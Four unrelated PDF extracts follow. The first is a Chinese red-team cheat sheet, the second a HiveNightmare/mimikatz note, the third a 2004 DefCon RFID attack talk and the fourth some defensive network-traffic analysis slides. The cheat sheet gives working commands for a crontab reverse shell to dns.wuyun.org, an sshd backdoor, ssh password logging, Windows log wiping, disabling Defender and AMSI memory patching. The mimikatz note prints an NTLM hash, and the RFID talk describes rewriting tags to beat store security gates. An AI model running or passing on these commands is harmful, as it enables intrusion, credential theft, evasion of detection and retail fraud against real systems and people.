通过DLL劫持,劫持Explorer.exe对 fxsst.dll 的加载 Explorer.exe在启动时会加载 c:\Windows\System32\fxsst.dll (服务默认开启,用于传真服务)将payload.dll保存在 c:\Windows\fxsst.dll ,能够实现dll劫持,劫持Explorer.exe对 fxsst.dll 的加载 27、特殊注册表键值 在注册表启动项创建特殊名称的注册表键值,用户正常情况下无法读取(使用Win32 API),但系统能够执 行(使用Native API)。 《渗透技巧——"隐藏"注册表的创建》 《渗透技巧——"隐藏"注册表的更多测试》 28、快捷方式后门 替换我的电脑快捷方式启动参数 POC : https://github.com/Ridter/Pentest/blob/master/powershell/ MyShell/Backdoor/LNK_backdoor.ps1 29、Logon Scripts 30、Password Filter DLL 31、利用BHO实现IE浏览器劫持 Linux HKCU\Software\Classes\CLSID{42aedc87-2188-41fd-b9a3-0c966feabec1} HKCU\Software\Classes\CLSID{fbeb8a05-beee-4442-804e-409d6c4515e9} HKCU\Software\Classes\CLSID{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7} HKCU\Software\Classes\Wow6432Node\CLSID{BCDE0395-E52F-467C-8E3D-C4579291692E} New-ItemProperty "HKCU:\Environment\" UserInitMprLogonScript -value "c:\test\11.bat" -propertyType string | Out-Null crontab 每60分钟反弹一次shell给dns.wuyun.org的53端口 硬链接sshd 链接:ssh [email protected] -p 2333 SSH Server wrapper SSH keylogger vim当前用户下的.bashrc文件,末尾添加 source .bashrc Cymothoa_进程注入backdoor rootkit openssh_rootkit Kbeast_rootkit Mafix + Suterusu rootkit #!bash (crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/dns.wuyun.org/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab - #!bash ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=2333; #!bash cd /usr/sbin mv sshd ../bin echo '#!/usr/bin/perl' >sshd echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd chmod u+x sshd //不用重启也行 /etc/init.d/sshd restart socat STDIO TCP4:192.168.206.142:22,sourceport=13377 #!bash alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect - s2048 ssh' ./cymothoa -p 2270 -s 1 -y 7777 nc -vv ip 7777 Tools Vegile backdoor 14.痕迹清理 Windows日志清除 获取日志分类列表: 获取单个日志类别的统计信息: eg. 回显: 查看指定日志的具体内容: 删除单个日志类别的所有信息: 破坏Windows日志记录功能 利用工具 Invoke-Phant0m Windwos-EventLog-Bypass Metasploit wevtutil el >1.txt wevtutil gli "windows powershell" creationTime: 2016-11-28T06:01:37.986Z lastAccessTime: 2016-11-28T06:01:37.986Z lastWriteTime: 2017-08-08T08:01:20.979Z fileSize: 1118208 attributes: 32 numberOfLogRecords: 1228 oldestRecordNumber: 1 wevtutil qe /f:text "windows powershell" wevtutil cl "windows powershell" run clearlogs clearev 3389登陆记录清除 15.内网穿透 区分正向代理与反向代理 A----b----C 0x01 场景与思路分析 场景一:内网防火墙对出口流量没有任何端口限制 思路 :由于防火墙对出口流量没有任何端口限制,我们的可选择的方案非常灵活,如:反弹shell 场景二:内网防火墙仅允许内网主机访问外网的特定端口(如:80, 443) 思路:由于防火墙仅允许部分特定外网端口可以访问,思路一仍然是反弹shell只不过目标端口改成特定 端口即可;思路二则是端口转发,将内网主机的某些服务的端口转发到外网攻击主机上的防火墙允许的 特定端口上,再通过连接外网主机上的本地端口来访问内网服务 方法一:反弹shell可参考场景一中的方法,仅需修改目标端口为防火墙允许的特定端口即可 方法二:端口转发 方法三:SSH的动态端口转发配合proxychains来代理所有流量进一步渗透内网 1.在内网主机上执行 2.在外网主机上执行 3.在外网主机上配置proxychains设置socks4代理 @echo off @reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f @del "%USERPROFILE%\My Documents\Default.rdp" /a @exit A去请求C,B作为代理,代替A去访问C,并将返回的结果转发给A   那么B就是正向代理 B主动与A的8888端口连接,并将A:8888的访问转发到C:80上去,并将结果转发给A,则B是反向代理 反向代理优势: 当AB之间有防火墙,不允许A连B,但是允许B连A ssh -f -N -R 2222:127.0.0.1:22 -p 80 [email protected] (输入外网主机的SSH口令) ssh -f -N -D 127.0.0.1:8080 -p 2222 [email protected] (输入内网主机的SSH口令) 4.使用proxychains代理所有流量进入内网 场景三:TCP不出网-HTTP代理 一.reGeorg reGeorg原版:https://github.com/sensepost/reGeorg reGeorg修改版:https://github.com/L-codes/Neo-reGeorg 假设拿到的Webshell是http://aaa.com/shell.jsp,以原版reGeorg为例。 上传reGeorg中的 tunnel.jsp,假设当前URL为http://aaa.com/tunnel.jsp 在本地PC运行如下命令 此时,将在本地PC的8080开启一个Socks端口,使用Proxifier即可进行代理。需要注意的是,由于这个 http代理隧道比较脆弱,建议根据每个目标host单独添加规则,最好不要设置成全局代理。 二.pystinger 蜂刺-stinger_client pystinger 整体结构: 1.上传 proxy.jsp到目标Web服务器,上传stinger_server/stinger_server.exe到目标系统。 2.使用Webshell启动stinger_server 3.VPS服务端启动监听 以上操作成功后,VPS会监听60000端口,接下来直接配置好Proxifier就可以访问目标内网了。 特别注意:这个代理也不是很稳定,有时候会断开(Wrong data)。遇到断开情况后,手动kill stinger_server进程 再启动,最后重启VPS服务端stinger_client即可 $ vim /etc/proxychains.conf [ProxyList] socks4 127.0.0.1 8080 proxychains nc -nv 10.0.2.5 3306 python reGeorgSocksProxy.py -p 8080 -h 0.0.0.0 -u http://aaa.com/tunnel.jsp Linux: chmod +x /tmp/stinger_server nohup /tmp/stinger_server>/dev/null nohup.out & Windows: start D:/XXX/stinger_server.exe ./stinger_client -w http://aaa.com/proxy.jsp -l 0.0.0.0 -p 60000 场景四 TCP出网-socks代理 frp 搭建步骤: 1.VPS运行服务端 注:建议用Screen将frp挂起到后台,Screen挂起程序参考用screen 在后台运行程序 - 简书 frps.ini内容: 2.使用VPS将frpc frpc.ini上传到主机tmp目录,然后运行 注:有时候用Webshell管理工具会上传失败或上传文件不完整,可以cd到frp目录,在vps使用 python -m SimpleHTTPServer 80 启动一个webserver,然后在客户端使用 curl http://vpsip/frpc 下载 文件。 以上操作成功后,VPS控制台会有输出,然后VPS会启动一个10001端口,接下来直接配置好Proxifier就 可以访问目标内网了。 Proxifier使用参考:Proxifier Socks5 代理(内网访问、远程办公) ps:frp会涉及到免杀的问题,这里推荐另一个代理工具,体积更小,可以看作是rust版本的frp fuso 0x02 Lcx 内网IP:192.168.183.168 公网IP:192.168.183.181 端口转发 内网机器上执行命令: lcx.exe –slave 公网IP 端口 内网IP 端口 将内网的3389端口转发到公网的6666端口 ./frps -c frps.ini [common] bind_port = 8080 tls_only = true tcp_mux = true privilege_token = token123 kcp_bind_port = 8080 Linux: chmod +x /tmp/frpc-x86 nohup /tmp/frpc-x86 -c /tmpfrpc.ini>/dev/null nohup.out & Windows frpc -c frpc.ini 公网机器上执行命令: lcx.exe -listen 监听端口 连接端口 将在6666端口接收到的数据转发到2222端口 使用命令 mstsc /v:127.0.0.1:2222 即可连接到内网3389端口 端口映射 如果内网机器防火墙禁止3389出站,可以使用tran命令将3389端口映射到其他端口上 内网机器上执行命令: lcx.exe -tran 映射端口 连接IP 连接端口 因为实验环境是内网所以直接连接66端口即可访问3389端口,公网还需要端口转发 0x03 SSH隧道 SSH本地转发 语法格式: 远程管理服务器上的mysql,mysql不能直接root远程登陆。这时候就可以通过本地转发,通过ssh将服 务器的3306端口转发到1234端口。 工作原理:在本地指定一个由ssh监听的转发端口2222,将远程主机的3306端口(127.0.0.1:3306)映射到 本地的2222端口,当有主机连接本地映射的2222端口时,本地ssh就将此端口的数据包转发给中间主机 VPS,然后VPS再与远程主机端口(127.0.0.1:3306)通信。 数据流向:Kali -> 2222 -> VPS -> 127.0.0.1:3306 lcx.exe -slave 192.168.183.181 6666 192.168.183.168 3389 lcx.exe -slave 192.168.183.181 6666 127.0.0.1 3389 lcx.exe -listen 6666 2222 lcx.exe -tran 66 192.168.183.168 3389 ssh参数详解:    -C Enable compression 压缩数据传输    -q Quiet mode. 安静模式    -T Disable pseudo-tty allocation. 不占用 shell    -f Requests ssh to go to background just before command execution. 后台运行,并 推荐加上 -n 参数    -N Do not execute a remote command. 不执行远程命令,端口转发就用它    -L port:host:hostport 将本地机(客户机)的某个端口转发到远端指定机器的指定端口.    -R port:host:hostport 将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口.    -D port 指定一个本地机器动态的应用程序端口转发.    -g port 允许远程主机连接到建立的转发的端口,如果不加这个参数,只允许本地主机建立连接 ssh -L [local_bind_addr:]local_port:remote:remote_port middle_host ssh -CfNg -L 2222:127.0.0.1:3306 [email protected] SSH远程转发 语法格式: 假设kali开了一个80端口的web服务,外网无法访问,使用远程转发,将kali的80端口转发到外网的其他 端口,这时候访问外网的端口,就访问到了内网的端口。 此时在192.168.183.195这台主机上访问127.0.0.1:4444端口即可访问到kali的80端口 工作原理:kali在请求外网主机的sshd服务,在外网主机上建立一个套接字监听端口(4444),它是kali的 80端口的映射,当有主机连接外网的4444端口时,连接的数据全部转发给kali,再由kali去访问 127.0.0.1:80。 这里要注意一点,远程端口转发是由远程主机上的sshd服务控制的,默认配置情况下,sshd服务只允许 本地开启的远程转发端口(4444)绑定在环回地址(127.0.0.1)上,即使显式指定了bind_addr也无法覆盖。 也就是这里访问127.0.0.1:4444端口可以访问成功,访问192.168.183.195:4444却不能访问成功。 要允许本地的远程转发端口绑定在非环回地址上,需要在外网主机的sshd配置文件中启 用"GatewayPorts"项,它的默认值为no,这里将它改为yes。然后重新远程转发一下即可用外网地址访 问。 SSH动态转发,正向代理做动态的端口转发 本地或远程转发端口和目标端口所代表的应用层协议是一对一的关系,不同的服务就要建立不同的端 口,工作很是繁琐,而动态转发只需绑定一个本地端口,而目标端口是根据你发起的请求决定的,比如 请求为445端口,通过ssh转发的请求也是445端口。 语法格式: 这里举一个最简单的列子:翻墙。国内正常情况下上不了Google,我们可以通过将流量转发到国外的 vps上这样就可以正常访问了。 在本地执行以下命令,并查看建立连接情况 连接建立成功,设置浏览器到本地主机的3333端口 SSH动态转发,正向代理进行单一的端口转发 利用ssh -L 提供正向代理,将192.168.183.2的80端口映射到45.77.xx.xx的1111端口上 访问45.77.xx.xx:1111相当于访问192.168.183.2:80 中间需要192.168.183.1的ssh进行正向代理进行利 用。 语法格式: 此时我们访问45.77.xx.xx的1111端口就相当于访问内网不出网机器的192.168.183.2:80 ssh -R [bind_addr:]remote1_port:host:port remote1 ssh -CfNg -R 4444:127.0.0.1:80 [email protected] ssh -D [bind_addr:]port remote ssh -Nfg -D 3333 [email protected] ssh -L 45.77.xx.xx:1111:192.168.183.2:80 [email protected] 16.Bypass AMSI How to Bypass AMSI 管理员权限关闭amsi 一键关闭AMSI 被加黑了,可以混淆过 powershell降级 内存补丁 Set-MpPreference -DisableRealtimeMonitoring $true [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiI nitFailed','NonPubilc,Static').SetValue($null,$true) powershell.exe -version 2   //改变powershell运行版本 $p=@" using System; using System.Linq; using System.Runtime.InteropServices; public class Program { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern IntPtr VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpfloldProtect); public static void Bypass() { String a = "isma"; IntPtr lib = LoadLibrary(String.Join("" , a.Reverse().ToArray()) + " .dll"); IntPtr addr = GetProcAddress(lib, "AmsiOpenSession"); uint old = 0; byte[] p; p = new byte[6]; p[0] = 0xB8; 参考链接: p[1] = 0xFF; p[2] = 0xFF; p[3] = 0xFF; p[4] = 0xFF; p[5] = 0xC3; VirtualProtect(addr, (UIntPtr)p.Length, 0x04, out old); Marshal.Copy(p, 0, addr, p.Length); VirtualProtect(addr, (UIntPtr)p.Length, old, out old); } } "@ Add-Type $p [Program]::Bypass() https://github.com/NyDubh3/Pentesting-Active-Directory-CN https://github.com/shmilylty/Intranet_Penetration_Tips
pdf
HiveNightmare /SeriousSAM 利用补充 这https://t.zsxq.com/2R7mY3J中,有部门利用不够完善,在这儿补充下。 mimiktz利用 mimiktz的作者本杰明的更新速度是真的快,windows上的实时利用,基本不出3天就更新出来。闲话不 多说。当我们有了hash以后我们怎么提权呢。上次说了使用setntml或者changentml,这个mimiktz也 是有的,因此可以直接使用mimiktz(照顾新手同学,我想了想还是补充下)。 不只是SAM可读 SECURITY、SYSTEM文件中还有其他很多密钥,有了这些我们能够做什么需要大家一起想想了。 DPAPI computer keys 机器账号(银票) 默认密码(我这儿没有默认密码) config下面还有很多hive文件,hive文件是一个二进制文件,需要解析regf的结构,推荐一个工具: OfflineRegistryFinder,你还能从中发现什么,需要大家一起挖掘了。 misc::changentml /user:"redteam" /oldntml:8cadacb552df1d62e45e68997943c836 /newpassword:okpassword
pdf
RF-ID and Smart-Labels: Myth, Technology and Attacks DefCon 2004 July 30 - August 1, Alexis Park, Las Vegas, NV Lukas Grunwald DefCon 2004 RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 1 Agenda What is RF-ID ? What is RF-ID and what are Smart-Labels Risks and dangers with them Fun with them, how to protect your privacy Attacks against Smart-Label Systems, RF-ID Systems Demonstration of RF-ID Tags and RF-DUMP in practical use The RSA-Blocker-Tag fake The Metro Future Store RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 2 RF-ID RF-ID (Radio Frequency Identification) is a mechanism to get an identification remotely from: your remote-control for your garage an access control-system for a room a cage in a factory an electronic product code attached to a wrapped item in the supermarket RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 3 Frequencies RF-ID (Radio Frequency Identification) operates globally on different frequencies, the most common systems are using the ISM (Industrial Science Medical) Bands: 6765 - 6795 kHz 40,66 - 40,7 MHz 24 - 24,25 GHz 13553 - 13567 kHz 433,05 - 434,79 MHz 61 - 61,5 GHz 26957 - 27283 kHz 2400 - 2500 MHz 122 - 123 GHz RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 4 Smart Labels - EPC Smart-Labels are a special form of an RF-ID application. The tags look like normal product tags, but inside is an antenna and a small microchip. The tags have a Serial Number and an EEPROM that can store information like the EPC (Electronic Product Code), an international unique code from the manufacturer. Now the labels have mobile communication capabilities. EPC Type 1 01 0000A66 00016F 000169DCD Header EPC Manager Object Class Serial Number 8 Bit 24 Bit 24 Bit 36 Bit The ISO-Standard Smart-Labels operate on the ISM Frequency 13.56 MHz RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 5 Smart-Label - Variants Some of the well-known cheap Smart-Labels you´ll find today and tomorrow in some consumer-products are: ISO 15693 Tag-it ISO, My-d, I-Code SLI, LRI512, TempSense ISO 14443 A Mifare Standard(1,2), Mifare UltraLight(1,2) ISO 14443 B SR176(1,2) Tag-it R ⃝ I-Code R ⃝ RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 6 Smart-Label - Features What the Tags have in common: have no battery, and consume the power to operate from the RF-ID reader-field store the information in clear-text on the EEPROM have memory pages do not have read-protection some have special write protection Tag-Serial-Number is fixed, user-data is flexible support up to 1000 write cycles RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 7 Smart-Labels The Labels are used by manufacturers and delivery companies to optimize their supply chain: easy integration at the production plant tracking of boxes and goods easy sorting of boxes and packets just-in-time production tracking of the max. temperature for sensitive good (medicine, reefer cargo) RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 8 Data-Center vs Tag The information about a product can be stored in an central database, and only the native serial number of a Tag is used, or all information can stored on the EEPROM directly in the labels. In the field we often find a combination of both approaches where some information is stored in the label, and some is held in a central database. RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 9 Smart-Labels in the US FDA Guidance Mass 2005 Mass serialization of some packages, cases & pallets likely to be counterfeit. 2005 Use of RFID by some manufacturers, large wholesalers and some chain drug stores and hospitals. 2006 Use of RFID by most manufacturers, wholesalers, chain drug stores, hospitals and some small retailers. 2007 Use of RFID by all manufacturers, wholesalers, chain drug stores, hospitals and most small retailers. Source: Robin Koh, MIT Auto-ID Labs RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 10 Smart-Labels in US Part II Florida July 2003 Pedigree for Top 30 drugs July 2006 Pedigree for all drugs Walmart June 2004 All Class2 drugs Source: Robin Koh, MIT Auto-ID Labs RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 11 Smart-Labels in Europe The Gilette Company up to 35% loss of their products from the plant to the shelf in the store massive problem with shoplifting, small and in-expensive products like razor blades most products with RF-ID Tag inside of the product. Metro Future Store extensive use of RF-ID and other new technologies more later .. RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 12 Smart-Labels in Europe Main Library Vienna Use of more then 344000 Tags on books, DVDs, CD-ROMs etc ... Stores directly on the label: ISBN (International Standard Book Number) Author Title Last date of rent The EU Government Electronic Passport with RF-ID Chip Chip stores your ID-Number and Biometric Data RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 13 Not only in Food Some Cloth Companies also use RF-ID Tags Gap Inc. in the US Kaufhof in Germany Benetton from Italy There are also Tags and pilot project where chips are woven directly into the fabric. RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 14 POS Benefits Benefits of Smart-Labels at the Point of Sale: auto inventory detect misplaced product at the shelf alerting the clerk to replace expired goods track the behavior of the customer in the shop auto-checkout for the customer, only put the goods in your shopping bag the register is an RF-ID Gate, you only need to use your credit-card or have your RF-ID customer card with you to make a quick check out RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 15 Brave new Supply Chain 1 At production time, the RF-ID Smart label is placed on the product RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 16 Brave new Supply Chain 2 Each product is registered inside its package when leaving the factory EPC is written here to the ID-Tags RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 17 Brave new Supply Chain 3 If a customer of reseller orders the product, the palettes are tracked at delivery RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 18 Brave new Supply Chain 4 At the reseller site, the new goods are registered upon arrival Temperature and expiration date can be checked at delivery time RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 19 Brave new Supply Chain 5 The pallet arrives at the store, all products entering the store are registered by the entry gate of the store RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 20 Brave new Supply Chain 6 In the store the customer take a retail-package, the RF-ID reader in the shelf detects this If the shelf runs out of products or detects a false returned product it can escalate this to the clerk in the shop RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 21 Brave new Supply Chain 7 The customer leaves the store, the register reads the RF-ID from inside the customer’s shopping-bag Fast self-checkout and shop-lifting prevention at the same time RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 22 Smart White Goods Benefits for the customer should be the intelligence of the domestic appliances. Intelligent fridge Auto-Inventory Management of expiration of goods Intelligent washing machine Automatic choice of correct program Detecting red socks in between white undies RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 23 Myths and Facts about RF-ID Myth: RF-ID´s have the size of a pin and can be embedded into every product. Fact: This is not true, the electro-magnetic fields have problems with metal and other shielding material. You also need an antenna to connect the RF-ID Chip to the field, the antenna has some size. RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 24 Myths and Facts about RFID Myth: RF-ID Chips can be read from a huge distance. Fact: This is not true, you must be in a field to power the Chip via the antenna, the maximum distance within a huge gate are 10 meters. RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 25 Public Information RF-ID Tags can be read by everyone! You need: RF-ID Reader, we use the Multi-Tag Reader from ACG Germany an antenna or a gate to build the field Tags A PC oder Laptop to process the information from the reader Our tool to process the information RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 26 RF-ID Gate Gates can be installed at any place: At the entrance and exit doors, the stock etc... RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 27 ISO 15693 Tags Each tag has an unique identifier (UID) UID is needed for anti-collision algorithm if more then one tag is in the field UID is factory programmed and can’t be changed The Tag Memory is partitioned into two blocks Administrative Block that contains unique identifier (UID) application family identifier (AFI) data storage format identifier (DSFID) User Data stores up to 128 Byte of User Data persistent RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 28 UID of the ISO 15693 Tag Coding of the Unique Identifier Byte 7 6 5 4 3 2 1 0 E0h MFR Serial number RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 29 MFR of the ISO 15693 Tag Coding of the Manufacturer ID MFR-Code Company 02h ST Microelectronics 04h Phillips Semiconductors 05h Infineon Technologies AG 07h Texas Instrument 16h EM Microelectronic-Marin SA RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 30 Memory organization Memory Organization of the ISO 15693 Tag page Byte 0 1 2 3 Administrative block 00h User data block ... ... 3fh User data block RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 31 RF-DUMP a small tool to read and write ISO Tags and Smart-Labels by Boris Wolf and Lukas Grunwald supports and detects nearly all Smart-Labels requires an ACG Compact-Flash RF-ID Reader runs on PDA and notebook Free-Software (GPL) http://www.rf-dump.org RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 32 The RSA Blocker-Tag Part 1 At the CeBIT 2004 RSA Security announced and demonstrated a "blocker-tag": This Tag was said to block any requests. They presented a demo with their Tag and a box of drugs, and a paper-bag with the Blocker-Tag. This Tag should send all possible UID’s to keep the customer’s privacy when leaving a drugstore. Let’s verify the information with our new tool! RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 33 The RSA Blocker-Tag Part 2 All pseudo-privacy is done by the fake software. If both Tags are in the RF-ID Field, the RSA Demo-Application claims "BLOCKED". In fact the customer information is still accessible by an attacker or a spy. RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 34 Attacks against Smart-Labels Most Smart-Labels are not write protected The UID and Administrative block can’t store the EPC EPC is stored in the User Data Area Meta-Data like "best-before" are also stored in the User Data Area It’s only a matter of time until everybody will wear at least one RF-ID Tag RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 35 Privacy Problems Gates can by installed anywhere Competitors can read what type of undies you wear, and what else you have in your shopping bag Big Brother can read what type of Books you read Together with a passport or customer-card with RF-ID Chip this technology is an even bigger risk The customer is traceable for everyone RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 36 Environmental Pollution If every retail packet has a RF-ID Chip, there will be a sizable environmental pollution issue The transponder or tag itself contains some harmful substances Non-ionizing radiation, there are some voices that say it could be unhealthy RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 37 Technology Problems Dependency on a new technology introduces new risks Attacks to the RF-ID infrastructure can push companies out of business New possible break for terrorist attacks and new critical infrastructure RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 38 Real-Life Cookie Like on Web-Sites you can put a real-life cookie on someone who wears a cloth with Smart-Label or carries an item with a Tag. Every time he passes your Gate or RF-ID Field e.g. in front of your shop window you increment it by one The next time you get your credit-card number, you can write his tag with a clear id, you know who was looking at you shop window You can also check if the customer takes a product out of the shelf and puts it back, so if he is unclear, you can make an instant discount only for him in 10 sec. RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 39 The Metro Future-Store RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 40 The Metro Future-Store Initiated by the Metro Corporation and a several technology partners First store using RF-ID technology at some customer shelves Uses RF-ID Technology for age-control for X-Rated movies uses RF-ID Technology for every palette in stock Puts ISO-Tags also in customer cards. After immense protest from privacy organizations offered a RF-ID De-activator Nice homepage http://www.future-store.org RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 41 The Metro Future-Store RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 42 The Metro Future-Store Customer can use a PSA (Personal Shopping Assistant) and can check every product he puts in his shopping bag Customer can also use a self-checkout Customer is the guinea pig for the new technology Perfect area for our first field test of RF-Dump RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 43 The Future-Card Customer-Card from the Metro Shop Source: http://www.spychips.com/metro/scandal-payback.html RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 44 The Future-Card X-Ray proves there is a hidden RF-ID Tag inside the customer card Source: http://www.spychips.com/metro/scandal-payback.html RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 45 Future-Store Testfield RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 46 The RFID-Deactivator After the checkout Metro offers a "RFID-Deactivator" to the customer In fact, it overwrites the User-Data Area with Zeros Tag can be rewritten after the De-Activation Serial-ID and Administrative Block can’t be erased At the Exit-Gate the Tag can be instantly filled with other information To use the Deactivator all User-Data Areas MUST be writable in the shop, which offers a lot of options for new attacks and fun in the shop. RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 47 Future-Store Testfield RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 48 Chaos in the Future-Store You can convert the EPC from cream cheese into shampoo, the store computer believes your cream cheese is misplaced in this shelf Put the cream cheese after converting in the shampoo shelf Make some X-Rated movies G-Rated, now Kid’s can buy them with the Self-Checkout Convert your favored new DVD into the one on sale for 5 Euro RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 49 Fun with the EAS 1. The Electronic Article Surveillance (EAS) Gate at the Entrance checks also if you don’t pay for your DVD via RF-ID. 2. To deactivate this Security System, get a cheap Tag for 50 cents, copy the EPC from a DVD that is in the shelf 3. Transfer it to you own tag 4. Stick the Tag under the Gate 5. The Gates goes on alert 6. Some clerk will come and check, after 5 minutes of permanent alarming he will switch the EAS Gate off RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 50 Further Attacks The most software is written without security in mind, at least supply chain software, it could be possible to exploit it via a manipulated data field in the User-Data of an RF-ID Tag Some registers make an instant reboot after reading the RF-ID Tag with manipulated field If you shield the field, no EAS or RF-ID System can possibly read a tag, some aluminum foil works fine RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 51 For Your Privacy DO NOT buy any product with a credit card and do not use any customer cards If you MUST use a credit card, add entropy to your customer record there are some interesting pages e.g: http://www.stop-rfid.org http://www.boycottgillette.com http://www.boycottbenetton.org http://www.spychips.com RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 52 Risks for the Companies Whole new area of shop-lifting Chaos and attacks are possible Customers can change the EPC and no-one will detect it when using self-checkout Attacks can also be used on medical drugs and age-restricted material Attackers need only a publicly available RF-ID Reader/Writer RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 53 That’s it.. THANK YOU ! Questions ? email: lukas@übergeek.de RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 54
pdf
流量宝藏 01 目录 •解决数据孤岛 •时效性 背景介绍 •反入侵,防漏洞 •态势感知,主动对抗高级威胁 重点目标 •主机和应用层漏洞发现 实践探索 •挖矿,DN S安全,协议层面的分析 背景介绍 核心思想 • 多层防御体系 • 网络流量雁过留痕 流量安全分析 应用层 主机层 网络层 重点目标 02 重点目标 信息搜集 漏洞探测 漏洞利用 权限维持 持续渗透 网络流量数据 算法层 应用场景 处理层 逻辑架构 • 覆盖多种场景 • 不同的算法适配 重点目标 • 高危行为 • 高危组件覆盖 防漏洞 重点目标 • 木马流量 • 隧道流量 反入侵 实践尝试 03 实践尝试 传统主机安全检测响应EDR系 统,通过Agent方式采集主机日 志、命令操作等信息,然后上报 到控制中心进行策略建模,从而 发现主机入侵威胁。比如高风险 命令注入执行,单纯基于主机端 数据仅能知道发生了什么,若同 时能在流量层面针对这些强特征 命令字进行检测,进一步关联, 就能溯源到攻击者是如何利用的。 此外,流量层的检测能力,也能 主机安全回溯 主机层发现的告警 流量层感知的网络路径和请求,形成关联 实践尝试 ICMP木马,进程也不会监听 端口,对主机层检测能力提出 更大挑战,由于在协议栈之前 对流量进行劫持处理,主机端 tcpdump也无法抓取。而作为 中间管道,在流量层进行检测 分析,会是更好的补充手段。  木马通信 从源主机向目标主机129.226.x.x进行ping操作,可以正常ping通 在目标主机上使用tcp d um p 抓取源主机1 1 5.1 59.x .x 的包,无法抓获 实践尝试 1.高危端口、高危组件和高危服务的对外开放 占据了漏洞攻击的很大部分,靠主动扫描来感 知,存在扫描周期和扫描被屏蔽的问题。 2.通过流量建立相关通信特征的检测,则可以 实现秒级响应。业务高危端口从对外开放到被 探测利用的时间只有45秒,针对资产数量较 多的大中型企业来说,很难在45秒内完成一 轮扫描。 3.网络上的大量扫描和探测会带来误报,结合 出流量关联,则能较好的解决误报问题 高危资产主动发现 实践尝试 1.漏洞扫描一般重点关注在对特征类漏洞 的发现,发送特定构造参数或payload以 触发是否存在漏洞,对于业务层面的不合 规行为或者逻辑类漏洞则覆盖不足,比如 敏感信息明文传输、越权、管理后台类等。 2. 扫描方法基于关键字,灵活性和可维护 性不高。流量分析,可以引入AI算法,模 型可以自动学习页面特征,效果远超过传 统方案。同时,引入正负反馈机制配合AI 模型训练,提升模型识别率。此外这不但 可以监测管理后台的对外开放问题,而且 也可以对存在弱口令的管理后台进行告 脆弱点/ 漏洞主动发现 JS生成的管理页面,若扫描器不能解析JS则不能主动发现 实践尝试 通过分析Mirai僵尸网络的命令与心跳包,提取出 属于Mirai僵尸网络C&C服务器与被控端之间的通 信流量,从而感知Mirai僵尸网络的规模变化 攻击指令:其中开头的"001a"代表攻击指令的长度, 紧接着的"0000001e"代表了攻击的持续时间为30 秒,"1e"之后的"00"代表了攻击的所采用的手法, 根据对大量Mirai样本的逆向,"00"代表了使用 udp进行攻击,后面的"d39fcd91"代表了攻击的目 标IP,之后的几位是攻击的配置项, "000431343430"代表了攻击所使用的udp包大小 为1400,"070439303033"代表了攻击的目标端 口是9003 Mirai僵尸网络 Mirai攻击指令示例 Mirai僵尸网络规模 实践尝试 流量特征:在挖矿程序与交换端点进行通讯时,采 用了jsonrpc协议,这点与门罗币挖矿相同,并且 